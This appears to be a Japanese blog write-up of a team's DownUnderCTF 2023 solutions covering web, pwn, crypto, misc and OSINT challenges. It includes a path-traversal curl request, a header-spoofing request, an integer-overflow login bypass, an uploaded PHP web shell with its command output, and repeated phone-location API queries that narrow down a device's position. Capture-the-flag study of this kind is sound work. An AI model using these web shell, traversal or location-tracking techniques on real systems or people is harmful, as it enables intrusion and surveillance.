この大会は2023/9/1 18:30(JST)~2023/9/3 18:30(JST)に開催されました。
今回もチームで参戦。結果は2675点で1424チーム中112位でした。
自分で解けた問題をWriteupとして書いておきます。
discord (beginner, misc)
Discordに入り、#rulesチャネルの動画をダウンロードする。この動画の最後の方でメッセージが表示されたので、その単語の頭文字をつなげる。
DUCTF{REJECTHUMANITYRETURNTOOURSUPPORTQUEUE}
proxed (beginner, web)
X-Forwarded-Forに31.33.33.7を指定すれば、フラグが得られる。
$ curl http://proxed.duc.tf:30019/ -H 'X-Forwarded-For: 31.33.33.7' DUCTF{17_533m5_w3_f0rg07_70_pr0x}
DUCTF{17_533m5_w3_f0rg07_70_pr0x}
𝕏 (beginner, misc)
順にリンク先にある画像の文字を書き出してみる。
https://twitter.com/DownUnderCTF/status/1697304493409337835 DUCTF{ Tha nksE l0nW https://twitter.com/DownUnderCTF/status/1697308270439051484 tter eCantC all1t TheTw1 https://twitter.com/DownUnderCTF/status/1697312042821066846 Fl4g N0w}
少し順序を変え、結合する。
DUCTF{ThanksEl0nWeCantCall1tTheTw1tterFl4gN0w}
static file server (beginner, web)
パストラバーサルの問題。
$ curl --path-as-is https://web-static-file-server-9af22c2b5640.2023.ductf.dev/files/../../flag.txt DUCTF{../../../p4th/tr4v3rsal/as/a/s3rv1c3}
DUCTF{../../../p4th/tr4v3rsal/as/a/s3rv1c3}
Welcome to DUCTF! (beginner, misc)
$ cat welcome_to_ductf.aplusplus ¡***Ɔ SɹƎƎHƆ ;„¡Ⅎ┴Ɔ ǝɥʇ ɟo ʇsǝɹ ǝɥʇ ʎoɾuƎ„ ƎWWIפ ;()Ⅎ┴Ɔ_ƎH┴ < ;H┴MƎɹ┴S + ɹnoHʎddɐH + Ⅎ∀˥פ ƎWWIפ ;„ɔoɹɔ ɐ ɹɐǝu ʇᴉ ʇɟǝl oƃuoɹp ʎpoolq ʇɥƃᴉɹ ǝɯos 'ʇᴉ punoɟ I 'ǝʇɐɯ llǝɥ ʎpoolq„ ƎWWIפ < ;SIH┴ ʞƆ∩Ⅎ Ǝ┴∀W ¿ 0 == (9 '0)ǝɔᴉDǝɯoSʞɔnɥƆ NOʞƆƎɹ ∀⅄ ;(000Ɩ)ʞɔɐSǝɥ┴ʇᴉH ;„...ƃɐlɟ ɐʎ sᴉ ɥɐlɐƃ ,uᴉɯɐlɟ ǝɥʇ ǝɹǝɥM„ ƎWWIפ > (¡H∀N 'H∀Ǝ⅄) ˥I┴N∩ ┴∩Oq∀ʞ˥∀M ∀ ƎΛ∀H ˥˥,I NOʞƆƎɹ I ;„ƎɹƐɥʍƐɯoϛ_ʞɔ0lƆoϛ-sʇƖ„ = ɹnoHʎddɐH NOʞƆƎɹ I ;„¡ǝʇɐɯ ɐʎ ɹoɟ ƃɐlɟ ǝɥʇ u,ɥɔʇǝℲ„ ƎWWIפ > () SI Ⅎ┴Ɔ_ƎH┴ ɹOℲ ∀ʞʞ∀⅄ Dɹ∀H ƎH┴ ;„{Ⅎ┴Ɔ∩D„ = Ⅎ∀˥פ NOʞƆƎɹ I < ;(000ϛ)ʞɔɐSǝɥ┴ʇᴉH < ;פ∀˥Ⅎ_∀⅄ ƎWWIפ > ¿ Ɩ == Qqq_ƎW NOʞƆƎɹ ∀⅄ ;„}¡ǝʇɐWǝɹǝHʇ,uᴉ∀ƃɐlℲɐ⅄{∩DℲ┴Ɔ„ = פ∀˥Ⅎ_∀⅄ NOʞƆƎɹ I ;Ɩ = Qqq_ƎW NOʞƆƎɹ I ;(000ϛ)ʞɔɐSǝɥ┴ʇᴉH ;„פ∀˥Ⅎ ƎH┴ ┴NIɹԀ S┴Ǝ˥ '¡Ǝ┴∀W H∀Ǝ⅄„ ƎWWIפ > () SI פ∀˥Ⅎ_┴NIɹԀ ɹOℲ ∀ʞʞ∀⅄ Dɹ∀H ƎH┴ ;ǝɔᴉDǝɯoSʞɔnɥƆ ƆN∩Ⅎ ƎW ┴HOԀWI ;„}„ = H┴MƎɹ┴S NOʞƆƎɹ I ;ʞɔɐSǝɥ┴ʇᴉH ƆN∩Ⅎ ƎW ┴HOԀWI ¡Ǝ┴∀W ⅄∀D,פ
調べてみたら、Aussie++という言語らしいことがわかる。https://aussieplusplus.vercel.app/deで実行する。
Fetch'n the flag for ya mate! Where the flamin' galah is ya flag... bloody hell mate, I found it, some right bloody drongo left it near a croc DUCTF{1ts-5oCl0ck_5om3wh3rE} Enjoy the rest of the CTF!
DUCTF{1ts-5oCl0ck_5om3wh3rE}
downunderflow (beginner, pwn)
整数オーバーフローでindexに2147483655を指定すればよい。
$ nc 2023.ductf.dev 30025 Select user to log in as: 2147483655 Logging in as admin Welcome admin. ls flag.txt pwn cat flag.txt DUCTF{-65529_==_7_(mod_65536)}
DUCTF{-65529_==_7_(mod_65536)}
complementary (beginner, crypto)
フラグの前半の数値化したものと後半の数値化したものの積がわかっている。nをfactordbで素因数分解する。
n = 2 * 3 * 19 * 31 * 83 * 3331 * 165219437 * 550618493 * 66969810339969829 * 1168302403781268101731523384107546514884411261
片方を1168302403781268101731523384107546514884411261をベースにして調整する。
#!/usr/bin/env python3 from Crypto.Util.number import * with open('output.txt', 'r') as f: n = int(f.read().rstrip()) m2 = 1168302403781268101731523384107546514884411261 m1 = n // m2 flag1 = long_to_bytes(m1) flag2 = long_to_bytes(m2) flag = (flag1 + flag2).decode() print(flag)
DUCTF{is_1nt3ger_f4ct0r1s4t10n_h4rd?}
blinkybill (beginner, misc)
Audacityで開き、スペクトログラムを見ると、モールス信号が見える。
... .-. .. -. --. -... .- -.-. -.- - .... . - .-. . . ...
デコードする。
SRINGBACKTHETREES
英語としておかしい気がする。最初に-を追加する。
-... .-. .. -. --. -... .- -.-. -.- - .... . - .-. . . ...
デコードする。
BRINGBACKTHETREES
DUCTF{BRINGBACKTHETREES}
randomly chosen (beginner, crypto)
seedの範囲が狭いので、ブルートフォースでフラグを求める。
#!/usr/bin/env python3 import random with open('output.txt', 'r') as f: out = f.read().rstrip() k = len(out) len_flag = k // 5 for seed in range(1337): random.seed(seed) s = list(range(len_flag)) d = random.choices(s, k=k) flag = '' error = False for i in range(len_flag): if i in d: flag += out[d.index(i)] else: error = True break if error == False and flag.startswith('DUCTF{'): print(flag) break
DUCTF{is_r4nd0mn3ss_d3t3rm1n1st1c?_cba67ea78f19bcaefd9068f1a}
xxd-server (beginner, web)
phpのWeb Shellをアップロードして実行する。ただし、16進数ダンプの部分をコメントアウトする必要がある。
以下の内容で作成する。
0123456789abcdef <?php /* */system($_GET/* */["cmd"]);/* */ ?>
$ cat webshell.php <?php /* */system($_GET/**/["cmd"]);/* */ ?>
このwebshell.phpをアップロードする。
https://web-xxd-server-2680de9c070f.2023.ductf.dev/uploads/6ff9ee9190379bbd/webshell.php?cmd=pwdにアクセスする。
00000000: 3c3f 7068 7020 2f2a 2020 2020 2020 2020 /var/www/html/uploads/6ff9ee9190379bbd
00000000: 3c3f 7068 7020 2f2a 2020 2020 2020 2020 total 60 lrwxrwxrwx 1 root root 7 Aug 14 00:00 bin -> usr/bin drwxr-xr-x 2 root root 4096 Jul 14 16:00 boot drwxr-xr-x 5 root root 360 Sep 1 09:59 dev drwxr-xr-x 1 root root 4096 Sep 1 09:59 etc -rw-r--r-- 1 root root 74 Aug 31 02:13 flag drwxr-xr-x 2 root root 4096 Jul 14 16:00 home lrwxrwxrwx 1 root root 7 Aug 14 00:00 lib -> usr/lib lrwxrwxrwx 1 root root 9 Aug 14 00:00 lib32 -> usr/lib32 lrwxrwxrwx 1 root root 9 Aug 14 00:00 lib64 -> usr/lib64 lrwxrwxrwx 1 root root 10 Aug 14 00:00 libx32 -> usr/libx32 drwxr-xr-x 2 root root 4096 Aug 14 00:00 media drwxr-xr-x 2 root root 4096 Aug 14 00:00 mnt drwxr-xr-x 2 root root 4096 Aug 14 00:00 opt dr-xr-xr-x 470 root root 0 Sep 1 09:59 proc drwx------ 1 root root 4096 Aug 16 03:42 root drwxr-xr-x 1 root root 4096 Aug 16 02:16 run lrwxrwxrwx 1 root root 8 Aug 14 00:00 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 Aug 14 00:00 srv dr-xr-xr-x 13 root root 0 Sep 1 09:59 sys drwxrwxrwt 1 root root 4096 Sep 2 08:17 tmp drwxr-xr-x 1 root root 4096 Aug 14 00:00 usr drwxr-xr-x 1 root root 4096 Aug 30 04:21 var
00000000: 3c3f 7068 7020 2f2a 2020 2020 2020 2020 DUCTF{00000000__7368_656c_6c64_5f77_6974_685f_7878_6421__shelld_with_xxd!}
DUCTF{00000000__7368_656c_6c64_5f77_6974_685f_7878_6421__shelld_with_xxd!}
flag art (beginner, crypto)
スペース以外で表示されている文字のみを考え、4文字でmessage1文字に対するものになる。それぞれ2, 3, 5, 7で割ったときの余りがわかるので、中国剰余定理(CRT)を使って元のメッセージを復号する。
#!/usr/bin/env python3 from sympy.ntheory.modular import * with open('output.txt', 'r') as f: canvas = f.read() canvas = canvas.replace(' ', '').replace('\n', '') palette = '.=w-o^*' message = '' for i in range(0, len(canvas), 4): m = [2, 3, 5, 7] a = [] for j in range(4): a.append(palette.index(canvas[i+j])) c, _ = crt(m, a) message += chr(c) print(message)
復号結果は以下の通り。
Congratulations on solving this challenge! The mask has 900 X's so here are some random words to make the message long enough. Your flag is: DUCTF{r3c0nstruct10n_0f_fl4g_fr0m_fl4g_4r7_by_l00kup_t4bl3_0r_ch1n3s3_r3m41nd3r1ng?}
DUCTF{r3c0nstruct10n_0f_fl4g_fr0m_fl4g_4r7_by_l00kup_t4bl3_0r_ch1n3s3_r3m41nd3r1ng?}
Excellent Vista! (osint)
$ exiftool ExcellentVista.jpg ExifTool Version Number : 12.57 File Name : ExcellentVista.jpg Directory : . File Size : 2.7 MB File Modification Date/Time : 2023:09:01 23:04:43+09:00 File Access Date/Time : 2023:09:01 23:09:22+09:00 File Inode Change Date/Time : 2023:09:01 23:07:31+09:00 File Permissions : -rwxrwx--- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg Exif Byte Order : Big-endian (Motorola, MM) X Resolution : 72 Y Resolution : 72 Resolution Unit : inches Y Cb Cr Positioning : Centered Date/Time Original : 2023:08:31 22:58:56 Create Date : 2023:08:31 22:58:56 Sub Sec Time Original : 00 Sub Sec Time Digitized : 00 GPS Version ID : 2.3.0.0 GPS Latitude Ref : South GPS Longitude Ref : East GPS Altitude Ref : Above Sea Level GPS Speed Ref : km/h GPS Speed : 0 GPS Img Direction Ref : True North GPS Img Direction : 122.5013812 GPS Dest Bearing Ref : True North GPS Dest Bearing : 122.5013812 GPS Horizontal Positioning Error: 6.055886243 m Padding : (Binary data 2060 bytes, use -b option to extract) About : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b Image Width : 4032 Image Height : 3024 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 4032x3024 Megapixels : 12.2 Create Date : 2023:08:31 22:58:56.00 Date/Time Original : 2023:08:31 22:58:56.00 GPS Altitude : 70.5 m Above Sea Level GPS Latitude : 29 deg 30' 34.33" S GPS Longitude : 153 deg 21' 34.46" E GPS Position : 29 deg 30' 34.33" S, 153 deg 21' 34.46" E
Google mapで以下の緯度、経度を調べる。
29°30'34.33"S 153°21'34.46"E
近くに以下のポイントがある。
Durrangan Lookout
DUCTF{Durrangan_Lookout}
Bridget's Back! (osint)
Google画像検索すると、ゴールデンゲートブリッジであることがわかる。さらに周辺で写真のように見える場所を探すと、Vista Pointであることがわかる。
DUCTF{Vista_Point}
Comeacroppa (osint)
画像の上半分に絞り、画像検索すると、Scotch Pie Houseの画像が一番近いことがわかる。
https://www.alamy.com/scotch-pie-house-built-in-1866-located-on-the-north-end-of-main-street-maldon-victoria-australia-maldon-is-a-historic-goldrush-town-and-in-1966-w-image347751602.html
場所は Maldon。
DUCTF{maldon}
faraday (osint)
APIで少しずつ範囲を絞っていく。ビクトリア州の真ん中あたりの緯度、経度をGoogle mapで確認する。
-37.031768, 144.772990
ここから中心や半径を調整し確認する。
■-37.031768, 144.772990 { "device": { "phoneNumber": "+61491578888" }, "area": { "areaType": "Circle", "center": { "latitude": -37.031768, "longitude": 144.772990 }, "radius": 200000 }, "maxAge": 120 } レスポンス { "lastLocationTime": "Sat Sep 2 05:09:25 2023", "verificationResult": "TRUE" } : : ■-37.0, 144.79 { "device": { "phoneNumber": "+61491578888" }, "area": { "areaType": "Circle", "center": { "latitude": -37.17, "longitude": 144.79 }, "radius": 180000 }, "maxAge": 120 } レスポンス { "lastLocationTime": "Sat Sep 2 05:20:44 2023", "verificationResult": "TRUE" } : : ■-35.53, 144.79 { "device": { "phoneNumber": "+61491578888" }, "area": { "areaType": "Circle", "center": { "latitude": -35.53, "longitude": 144.79 }, "radius": 180000 }, "maxAge": 120 } レスポンス { "lastLocationTime": "Sat Sep 2 05:35:10 2023", "verificationResult": "TRUE" } ■-35.52, 144.79 { "device": { "phoneNumber": "+61491578888" }, "area": { "areaType": "Circle", "center": { "latitude": -35.52, "longitude": 144.79 }, "radius": 180000 }, "maxAge": 120 } レスポンス { "lastLocationTime": null, "verificationResult": "FALSE" }
最北端は-35.53。
■-37.39, 144.79 { "device": { "phoneNumber": "+61491578888" }, "area": { "areaType": "Circle", "center": { "latitude": -37.39, "longitude": 144.79 }, "radius": 180000 }, "maxAge": 120 } レスポンス { "lastLocationTime": "Sat Sep 2 05:38:10 2023", "verificationResult": "TRUE" } ■-37.40, 144.79 { "device": { "phoneNumber": "+61491578888" }, "area": { "areaType": "Circle", "center": { "latitude": -37.40, "longitude": 144.79 }, "radius": 180000 }, "maxAge": 120 } レスポンス { "lastLocationTime": null, "verificationResult": "FALSE" }
最南端は-37.39。
目的の緯度は最北端と最南端の真ん中あたりなので、-36.46あたり。
半径を小さくし、経度の範囲を調べる。
■-36.46, 144.76 { "device": { "phoneNumber": "+61491578888" }, "area": { "areaType": "Circle", "center": { "latitude": -36.46, "longitude": 144.76 }, "radius": 150000 }, "maxAge": 120 } レスポンス { "lastLocationTime": "Sat Sep 2 05:49:20 2023", "verificationResult": "TRUE" } ■-36.46, 144.75 { "device": { "phoneNumber": "+61491578888" }, "area": { "areaType": "Circle", "center": { "latitude": -36.46, "longitude": 144.75 }, "radius": 150000 }, "maxAge": 120 } レスポンス { "lastLocationTime": null, "verificationResult": "FALSE" }
最西端は144.75。
■-36.46, 148.10 { "device": { "phoneNumber": "+61491578888" }, "area": { "areaType": "Circle", "center": { "latitude": -36.46, "longitude": 148.10 }, "radius": 150000 }, "maxAge": 120 } レスポンス { "lastLocationTime": "Sat Sep 2 05:57:04 2023", "verificationResult": "TRUE" } ■-36.46, 148.11 { "device": { "phoneNumber": "+61491578888" }, "area": { "areaType": "Circle", "center": { "latitude": -36.46, "longitude": 148.11 }, "radius": 150000 }, "maxAge": 120 } レスポンス { "lastLocationTime": null, "verificationResult": "FALSE" }
最東端は148.10。
目的の経度は最東端と最西端の真ん中あたりなので、146.425あたり。
同じようにして、範囲を絞っていく。
■-36.46, 146.425 { "device": { "phoneNumber": "+61491578888" }, "area": { "areaType": "Circle", "center": { "latitude": -36.46, "longitude": 146.425 }, "radius": 2000 }, "maxAge": 120 } レスポンス { "lastLocationTime": "Sat Sep 2 06:00:16 2023", "verificationResult": "TRUE" }
この緯度、経度をGoogle mapで調べる。街の名前は Milawa。
DUCTF{milawa}
apbq rsa i (crypto)
RSA暗号で、p, qについてヒントがある。ヒントは2組の(a, b)について、a * p + b * qの情報(aは2**12以下、bは2**312以下)がある。
a0 * p + b0 * q = h0 a1 * p + b1 * q = h1 ↓ a0 * a1 * p + a1 * b0 * q = h0 * a1 a0 * a1 * p + a0 * b1 * q = h1 * a0 ↓ (a1 * b0 - a0 * b1) * q = h0 * a1 - h1 * a0
a0, a1のビット数はそれ程大きくないため、ブルートフォースし、次の値とnの公約数が1より大きくなるものを探す。
h0 * a1 - h1 * a0
qの値がわかれば、pの値を算出し、通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * with open('output.txt', 'r') as f: params = f.read().splitlines() e = 0x10001 n = int(params[0].split(' = ')[1]) c = int(params[1].split(' = ')[1]) hints = eval(params[2].split(' = ')[1]) found = False for a0 in range(2**12 + 1): for a1 in range(2**12 + 1): q = GCD(hints[0] * a1 - hints[1] * a0, n) if q > 1 and q != n: found = True break if found: break p = n // q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
DUCTF{gcd_1s_a_g00d_alg0r1thm_f0r_th3_t00lbox}
Survey (begginer, misc)
アンケートの最後にフラグの画像があった。
DUCTF{48_fUn_hoUrs_thx_4_playing_DUCTF4}